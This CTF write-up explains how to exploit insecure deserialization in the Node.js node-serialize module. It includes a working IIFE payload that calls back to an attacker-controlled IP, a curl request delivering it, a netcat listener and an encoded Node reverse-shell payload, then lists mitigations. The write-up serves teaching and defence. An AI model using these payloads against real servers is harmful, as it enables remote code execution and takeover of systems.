Misc CTF - Insecure Deserialization
This challenge highlight an important and too common vulnerability: Insecure Deserialization.
Let’s solve this challenge to better understand the underlying issue there.
Tl;Dr: Untrusted data passed into unserialize()
function in node-serialize
module is exploited to achieve arbitrary code execution and flag read by sending a serialized JavaScript Object with an Immediately invoked function expression (IIFE).
Recon
Opening the challenge display the following website:
From here it’s possible to make drawings. There is a save function for loading them later:
While inspecting the “save” string we notice a recurring part:
1 | "s":"_$$ND_CC$$_$" |
Searching for this string online might gives us more informations about the function used.
A quick Google search redirect us to a commit from the [node-serialize](https://github.com/luin/serialize)
library.
As its name indicate, it is used to serialize an object including its functions into JSON. That make sense for the “save” of our paint.web
app drawings.
While going through the Readme.md
of the project we notice the following warning:
SECURITY WARNING
This module provides a way to unserialize strings into executable JavaScript code, so that it may lead security vulnerabilities if the original strings can be modified by untrusted third-parties (aka hackers). For instance, the following attack example shows how to achieve arbitrary code injection.
This security warning sounds exactly like our paint.web app scenario. And we even have an already made example!
1 |
|
We can guess that the app is taking the JSON formatted data passed into the “save” form and unserialize it to get the drawing informations to display on screen.
Let’s try to inject a Javascript object into the “save” string.
If everything goes as planned, our JS code should be executed during the unserialize process:
Did it work ?
Since the application doesn’t output anything, how can we know that our injection was successful ? Once again we will have to go with a blind injection.
Blind JS Object injection
The first way that comes to mind when doing blind injection is to use the sleep
function. We inject a sleep 5
and if the request takes 5 seconds to finish then we can conclude the injection was successful.
Since we are in front of a Node application, this might not be the best way to go. Node being asynchronous it’s very possible a new thread will spawn the sleep 5
and immediately close the request without waiting for the sleep to finish.
A better way to check if our injection worked in our scenario is to make a GET request to a server we control. This way we can check the access and see if the GET requests was sent from the applications backend.
Here is an example on how to do it:
- First let’s open a simple web server using python on our machine :
1 |
|
- Craft our JS code to make a call to this server and include it in the payload:
1 | {"rce":"_$$ND_FUNC$$_function (){ require('http').get('http://192.168.1.21:8000/paintwebrce') }()"} |
- Use the app load function to send the payload:
1 | $ curl 'http://ctf.one:3646/load' \ |
- Validate our server received the request:
1 | $ python -m http.server |
We now have confirmed we can execute JS code on the app backend.
Opening a reverse-shell
We now have a way to execute JS on the app backend, what’s the next step ?
Let’s open a reverse shell to gain full access over the app server. As a reminder:
A reverse shell is a shell session established on a connection that is initiated from a remote machine, not from the local host. Attackers who successfully exploit a remote command execution vulnerability can use a reverse shell to obtain an interactive shell session on the target machine and continue their attack. A reverse shell (also called a connect-back shell) can also be the only way to gain remote shell access across a NAT or firewall.
Source: Understanding Reverse Shells
So far we do not have a lot of knowledge about the server, we do not know if python
, wget
, curl
, netcat
or this kind of useful tools are installed.
One thing we know for sure is that the server is running Node (X-Powered-By: Express
). To make sure our reverse shell can work let’s create a Node based reverse shell.
First let’s open an netcat
listener that will receive the connection from the reverse shell:
1 | $ netcat -l -p 8585 -vv # Mac: brew install netcat |
And now let’s use nodejsshell.py script to generate a Nodejs reverse shell:
1 | $ python2 nodejsshell.py 192.168.1.21 8585 |
Let’s include this encoded reserve shell to our payload and load it:
1 | {"rce":"_$$ND_FUNC$$_function (){ eval(String.fromCharCode(10,118,[...],59,10))}()"} |
As soon as we click on “Load“ on new connection appear on our listener, giving us full access to the remote server:
1 | $ netcat -l -p 8585 -vv |
Mitigations
The only safe architectural pattern is not to accept serialized objects from untrusted sources or to use serialization mediums that only permit primitive data types. If that is not possible, consider one of more of the following:
- Implementing integrity checks such as digital signatures on any serialized objects to prevent hostile object creation or data tampering.
- Enforcing strict type constraints during deserialization before object creation as the code typically expects a definable set of classes. Bypasses to this technique have been demonstrated, so reliance solely on this is not advisable.
- Isolating and running code that deserializes in low privilege environments when possible.
- Log deserialization exceptions and failures, such as where the incoming type is not the expected type, or the deserialization throws exceptions.
- Restricting or monitoring incoming and outgoing network connectivity from containers or servers that deserialize.
- Monitoring deserialization, alerting if a user deserializes constantly.
Reference
- Exploiting Node.js deserialization bug for Remote Code Execution
- Insecure Deserialization: attack examples and mitigation
- Insecure Deserialization in Java
- A8 - Insecure Deserialization | OWASP
- Guidance on Deserializing Objects Safely
- CWE-502: Deserialization of Untrusted Data
Real Life example
- Remote Code Execution Unserialize to XXE, file disclosure on ams.upload.pornhub.com - $10,000 bounty | HackerOne
- Remote Code Execution through Deserialization Attack in OwnBackup app | HackerOne
- Remote Code Execution (RCE) in a U.S. Dept Of Defense website | HackerOne
- Vanilla Forums domGetImages getimagesize Unserialize Remote Code Execution Vulnerability | HackerOne
That’s it folks! As always do not hesitate to contact me for any questions or feedbacks!
See you next time ;)
-hg8